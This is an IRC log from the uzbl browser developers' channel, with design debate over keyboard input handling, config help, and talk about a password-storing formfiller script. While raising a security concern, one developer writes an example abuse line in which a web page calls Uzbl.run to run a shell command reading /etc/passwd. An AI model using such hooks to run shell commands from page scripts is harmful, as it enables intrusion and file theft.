18:45 < Zaba> what do they want to do anyway? *too lazy to read scrollback* *hides*
18:46 < DuClare> I'm not quite sure ...
18:46 < DuClare> Dieterbe_: I think it'd be better to experiment in isolation and see how it works in practice
18:46 < Dieterbe_> DuClare: exactly. i didn't mean "i'll implement thepatch right away", but more "show a proof of concept" and we'll play with it
18:47 < DuClare> Yeah.  Sure, it's somewhat interesting, and might be worth it if it works in practice
18:47 < Dieterbe_> madnificent: MichaelRaskin see above
18:48 < Dieterbe_> i'm driving home. see ya
18:48 < DuClare> Though we still have to deal with input in uzbl, because we need 1) a language for passing the keypresses to the script  2) IME support
18:49 < DuClare> I'm not sure how much this "decoupling" would actually give over what we can already do with the bind system (and what improvements we can still make to it)
18:49 < Zaba> well, decoupling is indeed good, but if it complicates things even further, perhaps there's more in design to be rethought
18:49 < DuClare> What if we could do "bind * = <run my handler>"?
18:50 < DuClare> Does this decoupling actually GIVE something that cannot be done with our "language"?
18:50 < DuClare> We still NEED a language
18:50 < DuClare> Because we need a way to receive commands
18:50 < DuClare> And we still need to store the internal state somewhere
18:50 < DuClare> And most likely access it ..
18:50 < Zaba> I dunno
18:52 < DuClare> I'm somewhat sceptical as to what's the benefit, and am not likely to devote any time to it unless somebody can give practical examples and prove its usefulness.  But I don't want to stop anybody from experimenting .. :)
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18:56 < alice|wl> hmm, anyway to open another window on middle mouse?
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19:06 < harlos> alice|wl, Yes.. one sec.. finding the link.
19:11 < harlos> The solution I found requires patch the source:
19:11 < harlos> http://pastebin.com/m7181c5dd
19:12 < madnificent> I was off for a bit Dieterbe_, read it now
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19:13 < madnificent> DuClare: perhaps it is not so much 'it works' but more something like 'give users a choice' which is in essence what foss is about.  It fits within unix as it says "look, we do browsing, and we do it right".  We do the way to control the browser right is something totally different.
19:14 < harlos> alice|wl, here is the original link for that patch..
19:14 < harlos> http://blog.valkertown.org/2009/06/09/uzbl_browser/
19:15 < DuClare> madnificent: You could decouple every little thing, but sometimes the benefit is zero or negative.  You have to pull a line somewhere.
19:15 < madnificent> DuClare: if that were there, then we could at least start toying with it
19:15 < DuClare> madnificent: Giving a choice is pointless if making the choice gives you nothing over the other option
19:15 < DuClare> That's why we've considered practical uses so far
19:16 < alice|wl> uhm ... shouldnt have used packetmanager to install
19:17 < alice|wl> gentoo
19:17 < DuClare> You need a better package manager if your current one doesn't support patching ..
19:17 < alice|wl> oh, it probably does ... just triing to locate the source
19:17 < madnificent> DuClare: unix has a script for fetching the first x lines for something.  Split as much as you can, it will be reused.  Besides that: who thought users would want a tiled wm?  Many people think IE is fine.  Look at the amount of (sometimes very strange) plugins that have been created for FF.  There is always a user who wants to do it differently.  (and splitting both from each other would (ie) be correct in the sense that you already
19:17 < madnificent> provide a method for controlling the browser, it is only normal that you provide a way to capture the input of it.
19:18 < DuClare> madnificent: There are times when a choice DOES NOT give any additional flexibility.  It's like choosing between two languages whose only difference is syntax.
19:18 < madnificent> alice|wl: you can make it pull from another (local) repos too, if you'd wish.  Just update the ebuild (as it fetches from git, it doesn't have a checksum or anything)
19:19 < DuClare> madnificent: The next logical step would be to stop uzbl from capturing the keypresses and use an external application for that, but is that really giving anything useful?
19:20 < madnificent> DuClare: providing choice in the case of two languages means: make the languages communicate with each other.  On top of that some users WILL WANT that other language, no matter how obscure (that is, for the record, one of the reasons shell scripting can be so friggin handy: once your scripts get complicated, you're free to write it in another language and communicate with it transparently)
19:20 < DuClare> With the right design, every little function could be a program of its own
19:21 < DuClare> madnificent: You didn't quite get my point
19:21 < madnificent> DuClare: as I said, fetching the first x lines is a script in bash... it proves to be useful.  There is very little you can't separate without it being handy.  In essence, making a separate application to fetch input for a window could be handy.  Sadly the approach uzbl takes to writing gui-apps isn't really common, but with sufficient work on that part, I wouldn't be surprised if it once became common to have a script for it
19:22 < madnificent> DuClare: I get your point, it is not valid in this case, and it is very very very hard to find good cases for it
19:22 < madnificent> if it doesn't complicate the design (and as it decouples the design of two separable systems, it rarely ever does) it is mostly worth it
19:23 < DuClare> madnificent: Why shouldn't we turn uzbl into an interpreter whose only built-in functionality is calling the actual functions via some sort of FFI?
19:24 < madnificent> DuClare: because that wouldn't be unix :)
19:24 < DuClare> That would be
19:24 < DuClare> Every function would be a program of its own, implemented in whatever language you like
19:24 < DuClare> That's separation taken to another level
19:24 < DuClare> You *have* to pull the line somewhere
19:25 < madnificent> DuClare: yes, you pull a line, and you're pulling it way to early
19:25 < madnificent> take something you will do, and do it right
19:25 < madnificent> seriously, allowing to browse, is a very very big task, drawing a line that ends there is far enough, I think
19:26 < madnificent> interface from there on...
19:26 < DuClare> Webkit already does that; right now we add more functionality to it.  If we pull the line there, then uzbl = webkit = uzbl
19:27 < madnificent> also: your example doesn't work, as you would only publish the public interface... which is something different than splitting everything.  How you write that backend is yet another choice, but there it doesn't matter
19:27 < DuClare> We need to handle input somewhere.  You're suggesting "somewhere" = an external script.  So we take what we have written now, rewrite it as an external script and call that.  What does it *give* us?
19:27 < madnificent> DuClare: webkit doesn't follow the unix approach.  It doesn't allow you to talk back and forward through shell scripts
19:27 < DuClare> madnificent: Yes, but it gives us browsing
19:28 < DuClare> We build additional interfaces to it.  Keyboard input is one interface
19:28 < madnificent> DuClare: it gives you browsing, now allow a unix-style connection to webkit.  And you're a whole lot further.  You're going from a non-shell system to shell-script system.  You can always add the menu in a common package again and use it from there on (like you were used to)
19:29 < madnificent> I don't quite understand how you want to be unix-like but still don't work that way
19:30 < madnificent> some users will want to communicate with it in a way that you didn't foresee, so allow them to do that...  There is always someone who wants it differently
19:37 < Dieterbe_> less talk, more code ! ;)
19:38 < Zaba> Shut up and hack, y'all.  :P
19:38 < madnificent> Dieterbe_: more exams actually :( ;)
19:38 < madnificent> altough enflaming, I did find it to be a constructive chat
19:39 < Zaba> Come on, I need uzbl for world domination--- deciding on some basic concepts of uzbl would be good early on, before releases and such.
19:40 < Dieterbe_> actually I dont really understand what DuClare means with " because we need 1) a language for passing the keypresses to the script"
19:40 < Dieterbe_> isn't it just about literally "forwarding" all keypresses?
19:41 < madnificent> Dieterbe_: a bit before he suggested bind * = something ;  which implies that he wanted both systems to live next to each other
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19:44 < DuClare> Dieterbe_: If I press ctrl, what do you forward to the script?
19:44 < DuClare> You need a way to represent ctrl
19:45 < madnificent> DuClare: the format in which send presses to the script may be custom
19:45 < DuClare> madnificent: How do you write the format?
19:45 < Dieterbe_> DuClare: hmm is there no simple uniform representation? ^ for ctrl and such?
19:45 < DuClare> No, there is no simple uniform representation
19:46 < DuClare> You need *some* representation, and that's the language.
19:46 < madnificent> you can (ie) use how emacs bindings are written C-a ie (any other format is good too, you may also translate and send that (ie:send codes for the buttons pressed like xev gives you)
19:46 < DuClare> madnificent: Yes, but how do you *define* that in uzbl?
19:47 < DuClare> If you say you should be able to use a custom format, you need a language for defining the custom format
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19:47 < madnificent> DuClare: it isn't a language, it is a format that uzbl chooses
19:47 < DuClare> If uzbl chooses it, it's not custom
19:48 < DuClare> It's a format we need to define
19:48 < madnificent> DuClare: change custom to what you want then... (couldn't you -perhaps- have asked if that was needed?)
19:48 < madnificent> sigh
19:49 < DuClare> Don't throw in random words.  Little things matter.
19:49 < madnificent> in any case, if you want to do overkill, you can use xml to send the data, there is probably a standard for it somewhere :P
19:49 < Dieterbe_> aargh
19:49 < Zaba> ewww
19:49 < Dieterbe_> i did _not_ just read that :P
19:50 < scj> GET OUT
19:50  * Dieterbe_ washes eyes
19:50 < Dieterbe_> it buuurns
19:50 < Zaba> madnificent, die a painful de--- I hope you weren't serious there.
19:50 < madnificent> DuClare: I actually did mean custom.  As custom means not predefined. And that CAN mean that you define it in uzbl.  Custom depends on the view you're taking.  So in all fairness, you should've thought about what it could've meanth.  little things matter.  (flamebait)
19:51 < madnificent> Zaba: no, I wasn't serious, I was trolling because I find this argument a disgusting waste of time
19:51 < madnificent> Zaba: so I try to make it a bit fun for myself :P
19:51 < Zaba> no, it's not a disgusting waste of time
19:51 < DuClare> madnificent: Then, technically, everything we do is custom.
19:51 < DuClare> Because we define what we do ourselves.
19:51 < Zaba> perhaps you think you're ultimately right, then yes, it is, for you
19:52 < madnificent> DuClare: saying 'you can use a custom format' then means:  "there might not be a standard, but you can choose which format you want."  As noted before, you depends on your pov (in my pov, that means you, the uzbl devs)
19:52 < uranther> XML makes me cry.. but maybe YAML?
19:53 < Zaba> uranther, NO
19:53 < DuClare> It wasn't clear to me what you meant, but it made sense to assume it has to do with the user, because as we're talking about defining a protocol, it pretty much implies we're doing something custom anyway
19:53 < uranther> haha
19:53 < madnificent> Zaba: not necessarily.  It is a discussion about the meaning of words... really, this depends on how long one is willing to think about a sentence.  Whomever is right, the mistake will happen again next time :)
19:53 < DuClare> :p
19:53 < Zaba> yaml is xml, designed by people on cheaper crack in bigger quantity
19:54 < Dieterbe_> the word custom can mean many different things.  I relate to madnificent's viewpoint but who gives a sh*** :P
19:54 < madnificent> emacs has a fairly decent way of representing things... C-t C-<enter> M-<space> M-Q
19:54 < Zaba> that's not decent
19:55 < madnificent> it is short and complete...  but any format will do
19:55 < Zaba> and I still don't really understand what you wanna propose, but it seems complicated
19:55 < Zaba> hence I can't understand it!
19:56 < madnificent> Zaba: the whole thing was about putting the handling of what the user enters in the browser, by a separate script, instead of by uzbl itself
19:56 < Zaba> er... and the benefit being what...?
19:56 < Dieterbe_> madnificent: what if you type the a and b characters while holding ctrl? how is this represented differently then ctrl+a and (release and repress ctrl) ctrl+b ?
19:58 < madnificent> Dieterbe_: C-a C-b (emacs doesn't make a difference between it, but you could make a difference by sending -b instead of C-b if the C button hasn't been released.
20:00 < uranther> madnificent, you seem to have the clearest picture of what you want so you might be alone in writing a patch
20:00 < uranther> your idea sounds nice, i'd like too look at some code though
20:00 < uranther> -o
20:00 < Dieterbe_> ..says the windows user ;)
20:00 < uranther> what of it? :)
20:01 < Dieterbe_> nuff said :P
20:01 < Zaba> you use windows, deliberately
20:01 < Zaba> isn't that awful
20:01 < uranther> anyways, if the patch reduces the codebase, then it's worth considering.. and it sounds like it could be more flexible than our current system
20:02 < madnificent> MichaelRaskin wanted it too :)  I'm not going to bother writing C (my apologies, I find it to be an inferior language, that many others may enjoy, but it makes me feel dirty).  I'd be happy to write an example command parser that works over a socket though.
20:03 < Zaba> Unix was written in C.  IOW: Deal with it.
20:03 < madnificent> Zaba: I don't mind that other code is written in C, I'm not going to write in it myself (differnt thing ;))
20:04 < Zaba> hah, so your feature y'want will never be implemented, is that worse than writing in C?
20:04 < madnificent> Zaba: perhaps MichaelRaskin will do that part ;)
20:04 < scj> just because shakespear may have used a feathered pen doesn't mean I have to
20:04 < Zaba> C is the most portable assembler you can find
20:05 < Zaba> and write in without losing too much sanity
20:05  * madnificent does his very best not to join in a language flamework (and finds it hard)
20:05 < bct> this channel has the best flamewars.
20:05 < uranther> :P
20:08 < Dieterbe_> you call this flamewars?  you're not used to much. there wasn't even any swearing or calling names ;P
20:09 < Zaba> Dieterbe_, these are the real flamewars... People don't resort to personal insults.  They stay on topic.
20:09 < joyfulgirl> Incidentally, what's the correct syntax to bind a modkey'd binding? I've experimented and googled a bit, but nothing's come up so far.
20:09 < madnificent> Zaba: civilized irc flamewars \o/
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20:09 < madnificent> joyfulgirl: ?
20:10 < DuClare> joyfulgirl: So far only control characters are supported
20:10 < DuClare> And shift of course
20:11 < DuClare> But you can't do both :]
20:11 < Dieterbe_> Zaba: well i disagree. but whatever :P
20:12 < scj> now insult eachother and get this party started
20:12 < Zaba> Dieterbe_, you're wrong, then, shhugarface
20:12 < madnificent> wait a second.  You'd need a language to define those symbols anyways... it doesn't have to do with the external interface.  If you want users to be able to bind on them, you'll need a way to represent them.  Simply use the representation you wanted to use there
20:12  * Zaba hides
20:12 < joyfulgirl> DuClare: Just to make sure we're on the same page: to use a control character, you set modkey = Mod1, `bind foo = somecommand', profit?
20:12 < DuClare> joyfulgirl: No
20:13 < DuClare> joyfulgirl: Modkey is for entering commands while in insert mode
20:13 < DuClare> Control characters are ... control characters.
20:13 < joyfulgirl> Oh, got it. Which would explain why they go with always_insert
20:14 < Dieterbe_> madnificent: good point
20:22 < madnificent> ratpoison uses the same type of names.  You can probably use the code they used for converting to that syntax
20:22 < madnificent> (that goes for the system with or without external command handler)
20:24 < madnificent> and info about that can be found at http://git.savannah.gnu.org/cgit/ratpoison.git/tree/src/input.h http://git.savannah.gnu.org/cgit/ratpoison.git/tree/src/input.c
20:26 < rob|> hell, that's 600 lines just for the key handling
20:27 < DuClare> rob| :)
20:27 < madnificent> rob|: not really, don't think you need all of it.  But if you would need it, then you can (at least I think you can) link to that code repos in git.  I have no idea how though.
20:27 < madnificent> in any case, it would be nice to reuse it
20:28 < scj> this is kind of neat http://wiki.github.com/bard/mozrepl
20:33 < rob|> uzbl does that in a nicer way ;)
20:33 < joyfulgirl> DuClare: Ahh, a *literal* control character. Check.
20:42 < uranther> ffs... my work machine running XP seems to be having issues install opentype fonts
20:42 < uranther> wtf
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20:59 < dxdx> hey Dieterbe_
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21:14 < alice|wl> ups, sorry
21:15 < Dieterbe_> o_O
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21:28 < Phillemann> Who wrote the uzbl_tabbed script? I think it should work out of the box, which it currently doesn't because it needs some icon image file
21:33 < joyfulgirl> In theory, ... bind \sr _ = sh 'echo "uri $(surfraw -browser=echo $8 ${@:$9})" > $4' ... would pass the first word I typed after `\sr' on as $8 and everything after that as $9, ${10}, etc., correct?
21:34 < teop> Phillemann: that image is in examples dir
21:35 < bct> oooh, i forgot about surfraw
21:35 < bct> that's a great fit for uzbl
21:35 < Phillemann> teop: Ah...indeed. In that case, the Wiki should be changed to point to explain that ;)
21:35 < joyfulgirl> Yup...and (if I can get it to work), should save writing webjumps by hand
21:36 < joyfulgirl> Unfortunately, as it stands, the location of my config file is being passed as $8
21:36 < teop> Phillemann: you can change it:)
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21:41 < scj> joyfulgirl: bind \sr _ = sh 'echo "uri $(surfraw -browser=echo %s" > "$4"'
21:41 < scj> missed a )
21:42 < joyfulgirl> scj: Oh, thanks. Dunno how I missed that (I remember noting it my first time through the config.
21:43 < Dieterbe_> Phillemann> Who wrote the uzbl_tabbed script? holizz
21:44 < Dieterbe_> Phillemann: and note the word 'example' in example script
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21:47 < Dieterbe_> dxdx: how should i merge your stuff? did you merge from rob?
21:48 < scj> joyfulgirl: and if you want shortcuts for specific searches, you can do - bind :imdb _ = sh "echo $(surfraw --browser=echo $8 %s)" > "$4"' imdb
21:52 < scj> well.. almost. s/echo/echo uri/
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21:57 < joyfulgirl> scj: Yeah (-: ...it's good to know you can pass arguments like that, too
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22:01 < Dieterbe_> good night all
22:01 < uranther> gnite
22:02 < dxdx> i delay'd
22:02 < dxdx> Dieterbe_: hm, if you say i should, i'll do
22:06 < scj> I should update the formfiller script now that I can actually get to the DOM
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00:36 < rob|> using uzblctrl is inefficient, it should be able to read from stdin so we'd not need to call it multiple times in a loop
00:42 < scj> what should?
00:49 < rob|> hmm?
00:51 < rob|> it should work like:  while foo; do echo uzbl_command; done | uzblctrl
01:07 < scj> the new formfiller is pretty damn nice :D
01:09 < madnificent> scj: what's the best way to get 'the new'?  is it always in dieter's repos, or should I grab from multiple places?
01:10 < scj> if you are developing, you should do it against dieterbe/experimental
01:10 < madnificent> scj: I'm not (unless someone would allow me to create an alternative menu bar)
01:11 < scj> madnificent: in that case you should probably try robm/master
01:19 < madnificent> scj: he is working on that? or for an other reason?
01:19 < scj> the formfiller? no, I am
01:19 < scj> I'm just cleaning it up before pushing
01:28 < rob|> madnificent: it's oss after all, you don't need any allowance to modify the code..
01:30 < madnificent> rob|: allow was not meanth in that fashion.  Read the bazilion lines of dirt-throwing above :P  I could, but I won't write it all :)
01:31 < rob|> madnificent: well, if your bar proves to be useful i bet it'll have a fair change to be included in uzbl
01:31 < rob|> otherwise you could keep a separate branch
01:35 < madnificent> rob|: in short: menu bar out of uzbl itself.  Communicate everything to uzbl.  Problem: I don't want to (and will not (period)) do the C code to get the keypresses from uzbl into the separate command handler.  I'm willing to write the handler though (if it weren't clear by now, I find that the command handler doesn't belong in uzbl (or at least: uzbl should allow it to be swappable (perhaps even hot-swappable))
01:37 < rob|> well, i'm not sure how well that would perform especially when parsing every single key with a sh script
01:40 < madnificent> rob|: socket -> should be quite fair (just a copy in memory in linux)
01:41 < uranther> why the h8 on C?
01:41 < uranther> if i was passionate enough about it, i would, god forbid, write a patch in Java if that was the language we used
01:41 < rob|> madnificent: it's not so much about the communication but about parsing the keystrokes
01:42 < madnificent> uranther: why the hate on Java?  Doesn't suit me, sorry.  I've chosen not to code in it myself anymore.  It makes me feel dirty and sometimes angry :)
01:42 < madnificent> rob|: why would that be harder than it is now?
01:42 < rob|> i didn't say it would be harder but way less efficient
01:43 < madnificent> uranther: for the record: java makes me angry too (but less angry)
01:43 < rob|> or way slower, that is
01:43 < uranther> i was trying to compare my hatred toward Java with your hatred towards C.. but i guess it's all down to taste in the end
01:43 < madnificent> rob|: I think that will be rediculously low waste, compared to the time it takes to render the page, or parse the css, or even the html :)
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01:44 < uranther> i was disappointed to not see "speed improvements" in the list of features of FF3.5
01:44 < rob|> still, doing it in the shell which most certainly involves sed and what not on every key strokes seems like the wrong way
01:44 < uranther> except javascript, which is the only thing browser vendors seem to care about these days
01:44 < madnificent> uranther: for a big part it is taste.  I'm missing features in it.  But it's not the same as your hate against Java (probably).  I don't want C to simply disappear (as I would like with Java), I just don't want to use it myself.  C has its uses (could be done in other languages to, but C has become the defacto standard, and it's fair for it)
01:45 < uranther> maybe the features you speak of are in GLib? it's pretty extensive
01:46 < madnificent> rob|: it would be a separate process, and I probably wouldn't have it in the shell, but yes it is an overhead.  A rediculously low one compared to the rendering time (as I've said before).  Also: you're parsing the commands anyways, so it isn't that different
01:46 < rob|> C biggest lack is missing templates..
01:46 < rob|> *C's
01:46 < madnificent> uranther: like macros? and CLOS (with it's meta-object system)?  Didn't think so
01:47 < uranther> eh? you don't need it
01:47 < madnificent> uranther: being lisp macro's (sorry ,that was confusing)
01:47 < uranther> this isn't a huge project, afterall
01:47 < madnificent> uranther: ever read graham's post about blob?
01:47 < uranther> nope.. link?
01:48 < madnificent> in any case, I'm tired of this discussion, don't learn languages if you're not interested.  I was interested, now I'm not going to compromise everything.  (link coming, just a sec)
01:49 < madnificent> uranther: http://www.paulgraham.com/avg.html (s/blub/blob/ apparently)
01:51  * madnificent entered a rant and scrapped it again (I'm going for a walk, in search of motivation)
01:52 < uranther> wow.. long intro
01:53 < madnificent> uranther: you'll want to bookmark it and read it later.  Paul has long essays, but they are generally good reads (disclaimer: I haven't read them all)
01:54 < uranther> i find myself skipping most of his sentences
01:54 < uranther> he writes too much
01:54 < madnificent> uranther: then don't read it... you'll miss the point anyways (which is the same why you don't know why you might like other languages)
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01:55 < uranther> madnificent, do you have to be so abrasive? i was just mentioning something about the article, not trying to continue some argument
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02:20 < madnificent> uranther: no sorry, it wasn't that.  Not at all... I was just biting my tongue to not rant about languages.  Sorry if it has hurt you in any way!
02:21 < scj> http://github.com/scj/uzbl/commit/c131cb626ff3d82e3a2c551eea4d9ff6443c3a44
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02:26 < urnthr> scj, cool :) what does formfiller do btw? :P
02:27 < scj> it can autofill forms for you
02:27 < scj> like usernames and passwords
02:27 < madnificent> uranther: to clarify my point further: If you're not going to read it with an open mind, and keep your attention to it, then you won't grasp the point.  The same goes for many languages: if you want to know what they're all about, you shouldn't assume that you know all and can skip parts.  The essense of many alternatives, lies in the way the details are handled.  After some time, that little detail may turn out to open up a whole new
02:27 < madnificent> world.  So, after rereading what I said.  It could perfectly be interpreted as  being abbrasive, it wasn't really meant to be like that.  I actually wanted to mean much more.
02:28 < urnthr> scj, do i need to press a key to do it?
02:29 < scj> by default, yes, but it should be fairly trivial to use the commit_handler to fill stuff out automatically for you
02:30 < scj> I'm pretty sure you need to use robm/master to get it working, though
02:30 < urnthr> sweetness
02:30 < urnthr> so what about shit like digg.com? i think it pops up in a div over the website
02:31 < scj> lemme check
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02:33 < scj> yup
02:34 < urnthr> cool
02:34 < scj> previous versions used curl to download the page and then parse out the forms
02:34 < urnthr> D:
02:34 < scj> this time around, it works against the DOM via a little js helper script
02:36 < g111> hi, trying to setup privoxy here, how can i set the uzbl proxy?
02:37 < urnthr> check the example config
02:38 < urnthr> i setup polipo on mine, it was painless :>
02:39 < g111> ok, thanks
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02:42 < scj> the formfiller still doesn't work on phpbb forums :/
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03:29 < dxdx> scj: i think your script exposes those functions to any page
03:30 < dxdx> that doesn't look nice [but i can't think right now of a way that would become a security bug]
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03:32 < dxdx> i wonder if having alternate javascript contexts helps [when they are in the same "group", they share objects... but that might not solve this problem]
03:39 < madnificent> dxdx: that would probably be the 'correct' way to solve it
03:39 < madnificent> or at least to generally handle separate systems with js support
03:39 < dxdx> i would have suggested wrapping everything in a function
03:39 < dxdx> but, that way, he wouldn't be able to access them from an external script
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04:09 < urantherz> so i was thinking of adding some unit testing in... http://google.com/codesearch/p?hl=en&sa=N&cd=6&ct=rc#e_To4sUWSN8/tests/rrobin-1.c&q=g_test_init like this
04:10 < urantherz> not sure if that would be a waste of time or not
04:30 < dxdx> urantherz: the point is that "main"
04:30 < dxdx> where would it go?
04:31 < urantherz> each of these tests are in separate C files
04:31 < urantherz> compiled with make test or the like
04:32 < dxdx> yeah, but if they are in separate C files, how would they access internal uzbl stuff?
04:32 < urantherz> i'm wondering if you have to compile the program as a library though...
04:32 < urantherz> library and includes
04:32 < urantherz> at least that's what this guy uses
04:51 < scj> dxdx: what is the problem? namespace pollution?
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05:03 < F> does flash work "out of the box"?
05:04 < urantherz> F, if you have the flash plugin installed
05:05 < F> and how do I use the python tab script?
05:06 < urantherz> what do you mean?
05:06 < F> http://www.uzbl.org/wiki/uzbl_tabbed
05:07 < scj> you.. run it?
05:07 < F> oh. so i run the script instead of running uzbl? or do I run the script /while/ running uzbl?
05:08 < scj> yes, it will spawn a new uzbl process for each tab
05:08 < urantherz> yeah i think you just run th epython script
05:08 < F> then what is the point of ctrl+t?
05:09 < urantherz> you make a new tab
05:11 < dxdx> scj: in your script there doesn't seem to be any danger, but in others, having exposed functions with privileged access isn't a good idea
05:13 < scj> dxdx: the way it works now, that the Uzbl object is only in the context while running eval_js seems to work well enough
05:13 < urantherz> yeah i haven't tried out the python tab script.. looking sweet
05:14 < dxdx> scj: the Uzbl object is no longer accessible by web scripts, but your defined functions are
05:15 < dxdx> what if you had a function that retrieves the whole form filler database (with passwords and stuff) to filter it in another function?
05:16 < scj> dxdx: the js functions can't retrieve anything
05:16 < dxdx> Uzbl.run("sh cat /etc/passwd") :P
05:17 < dxdx> well, sh doesn't return either (it should)
05:18 < dxdx> for some reason in security stuff we must be paranoid, not caring about the fact that nobody will ever target uzbl users with certain script enabled
05:19 < scj> that is true
05:20 < dxdx> that being said, i'd love to screw security and tell script writers to be careful, but that doesn't seem right
05:20 < lazzareth> Can I probe uzbl through the fifo socket to retrieve variables like status_format and the windows title?
05:21 < scj> lazzareth: no
05:21 < scj> but you can do it if you use robm's master and uzblctrl
05:21 < lazzareth> scj, But fifo sockets can operate in that matter cant they?
05:21 < dxdx> before that i'd try some contexts black magic, and maybe storing stuff in the Uzbl object
05:21 < lazzareth> Ah yes.
05:22 < scj> I'm a js newb myself, and I'm not entirely sure how js scopes and contexts works
05:22 < scj> but the eval_js function is not threaded, is it?
05:23 < dxdx> i don't think so
05:24 < F> uh. sorry for such a noob question. but how do I change the URL in uzbl? I loaded the sample config script. it has the line: bind    o _       = uri %s
05:24 < F> but i am not sure what that means.
05:24 < dxdx> scj: js works mostly in a single thread (the same as the gtk main loop, so scripts can hang the UI easily), but there are new "web workers" or something like that that implement isolated threads
05:24 < F> oh. nvm.
05:24 < F> got it. sorry. i dont know what i was doing wrong before.
05:25 < F> looks like i am dropping firefox. woohoo. i hated that piece of crap.
05:26 < scj> dxdx: oh snap, I managed to clone the Uzbl object
05:26 < scj> now I can run it from web inspector
05:30 < dxdx> scj: yeah, that was always possible
05:30 < dxdx> scj: the object is not "destroyed", the reference is dropped, you can use it internally
05:31 < dxdx> F: we don't hate you (?)
05:31 < F> dxdx: uhm... ?
05:31 < F> anyone here use uzbl_tabbed? I am trying to figure it out. running it does... nothing noticable.
05:32 < scj> I was pretty sure that I tried it before and it didn't work
05:32 < scj> in regards to cloning the Uzbl object, not uzbl_tabbed
05:33 < dxdx> F: doesn't it spawn a uzbl inside?
05:33 < F> dxdx: i dont know what that means. and i dont think so.
05:33 < dxdx> F: you open it, you have a single tab, and an uzbl inside
05:33 < dxdx> or a big button and when you press it you have a new uzbl
05:33 < F> dxdx: no.
05:34 < dxdx> F: how are you running it?
05:34 < F> http://pastebin.com/m2299ad7f
05:34 < F> that is what I do when I run the script.
05:34 < dxdx> btw, it sure does suck to have every message with an uppercase "F" highlighted
05:34 < F> i jsut run it in my shell.
05:34 < F> dxdx: that sentence wasn't highlighted ;)
05:35 < F> do not underestimate the regex-foo of a dude who uses a single character as an IRC handle.
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05:35 < dxdx> lol foo instead of fu
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05:35 < dxdx> F: well... i think you need to copy the uzbl icon to /home/f/.local/share/uzbl/uzbl.png
05:36 < F> what icon is that?
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05:36 < F> why do i need an icon? what is it for?
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05:37 < dxdx> F: not sure but the code requires it, you could remove that line too
05:37 < F> okay. where do i find the uzbl.png anyways?
05:37 < F> nvm. got it
05:38 < F> okay.
05:39 < F> i moved the png to where it should be
05:39 < F> and running the script just opens another uzbl.
05:39 < F> not a tab.
05:40 < dxdx> yes, it probably does suck still
05:40 < dxdx> anyway, the best way to use uzbl is configuring your WM
05:41 < F> granted. the usage does say "Put MSG somewhere in status_format in your config, usually somewhere near the start. "
05:41 < F> not sure what that means, though
05:41 < F> the sample_config has this for its status_format
05:41 < F> set status_format     = <span font_family="monospace"><span background="khaki" foreground="black">[MODE]</span> [<span weight="bold" foreground="red">KEYCMD</span>] <span foreground="#606060"> LOAD_PROGRESSBAR </span><span foreground="#99FF66">URI</span> <span foreground="khaki">NAME</span> <span foreground="orange">MSG</span><span foreground="#606060">SELECTED_URI</span></span>
05:41 < F> as you can see, MSG is in there.
05:42 < dxdx> and don't you see it there?
05:42 < F> what?
05:43 < dxdx> the MSG
05:43 < F> yes. its already in there.
05:43 < dxdx> i mean in your status bar
05:44 < F> ...sorry. can you please be more specific as to what you are asking me? because i have no idea what you are talking about. :\
05:45 < dxdx> sorry, i haven't, either
05:45 < dxdx> my best guess is that if you don't see the value of MSG in your status bar, there is no MSG
05:46 < dxdx> not in your status_format, but no value for MSG
05:46 < dxdx> and i really need to sleep
05:47 < F> all i see in my status bar is: [C] [] ************** http://www.google.com 20971552 done
05:50 < scj> dxdx: how do associated context groups work?
05:50 < scj> if there are two of them, one for the web frame and one for stuff in eval_js
05:51 < scj> then perhaps you could make sure that everything calling Uzbl belongs to the restricted group?
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06:02 < dxdx> scj: not sure, they "share objects"
06:02 < dxdx> but the root object is always the same window
06:02 < lazzareth> Is the same handler that takes input to the gtk uzbl window the same handler that handles input into the terminal window? I am trying to make the set_var function always echo the new set string as its set when the --verbose argument is given
06:03 < dxdx> i'll have to study this more, tell Dieterbe_ not to merge anything yet
06:04 < dxdx> but now i'm falling asleep, see you tomorrow
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06:25 < F> where is $XDG_DATA_HOME defined?
06:26 < scj> F: env | grep XDG
06:27 < F> no. not what is it defined to. but /where/ is it defined?
06:27 < F> some file?
06:27 < F> some .rc file?
06:28 < Morasique> wherever you defined it. if you didn't it defaults to ~/.local/share
06:28 < bct> might depend on your distro, gentoo doesn't seem to have XDG_* defined at all
06:29 < F> k. thanks.
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06:52 < F> anyone here have trouble scrolling up and down in gmail?
06:52 < scj> yes, gmail doesn't really work in uzbl
06:53 < F> anyone know why?
06:54 < F> and now it borks everything because scrolling doesnt work anywhere now.
07:04 < F> how do I enter > or <?
07:04 < F> when i hit "Shift" and any other key, nothing shows up.
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07:05 < scj> enter where?
07:06 < F> like when i type lower case letters (j, k for scrolling, etc) the red letter appears in the status bar
07:06 < F> but nothing shows up and no actions are taken for any capital letters
07:06 < F> or special characters that rely on shift (i.e. >, <)
07:07 < scj> no idea, works for me
07:07 < F> :(
07:10 < F> what is the point of "F"?
07:11 < scj> in the default config?
07:11 < F> looks like vimperator almost, but does nothing. fl actually does what vimperator does.
07:11 < F> scj: ys.
07:11 < F> yes*
07:11 < scj> hints.js is pretty rudimentary
07:12 < scj> the best one, imo, is linkfollow.js
07:12 < F> follow_Numbers.js is working perfectly for me.
07:12 < scj> I may be bit biased
07:13 < F> you wrote linkfollow.js?
07:13 < scj> yes
07:13 < F> :)
07:13 < F> uzbl is quick to start up. but it is slightly slow loading some pages.
07:13 < F> i.e. merriam-webster.com
07:18 < scj> 12.45s according to the web inspector resource timer
07:21 < locks> uzbl should be as fast as the rendering engine can go, no?
07:22 < hejki> btw, does libwebkit handle page caching? :)
07:22 < F> hejki: oh hi. :)
07:22 < F> didn't know you were here, aswell.
07:23 < hejki> :D
07:23 < F> let me ask it here, then.
07:23 < F> hejki: may i ask how you got it working? do I have to edit my config file? do I just run the script while uzbl is running?
07:24 < scj> hejki: considering that there's a reload_ign_cache action, I would assume so
07:24 < hejki> scj: :)
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07:37 < hejki> now i just gotta figure out how-to get webkit + uzbl @ work as well :)
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09:22 < teop> http://www.ljplus.ru/img4/d/u/du_jingli/sh2.jpg
09:22 < teop> ow
09:22 < teop> sorry
09:26 < F> hrm... how do I copy and paste a url into uzbl?
09:27 < F> nvm.
09:27 < F> got it.
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09:41 < Dieterbe_> morning
09:41 < scj> sup
09:41 < Dieterbe_> soup
09:44 < scj> Dieterbe_: I wrote yet another formfiller :v
09:45 < Dieterbe_> i saw
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10:08 < F> can you guys view gifs properly in uzbl?
10:11 < scj> yes
10:12 < F> hrm...
10:37 < rob|_> morning.
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10:39 < rob|> morning.
10:41 < hejki> morn
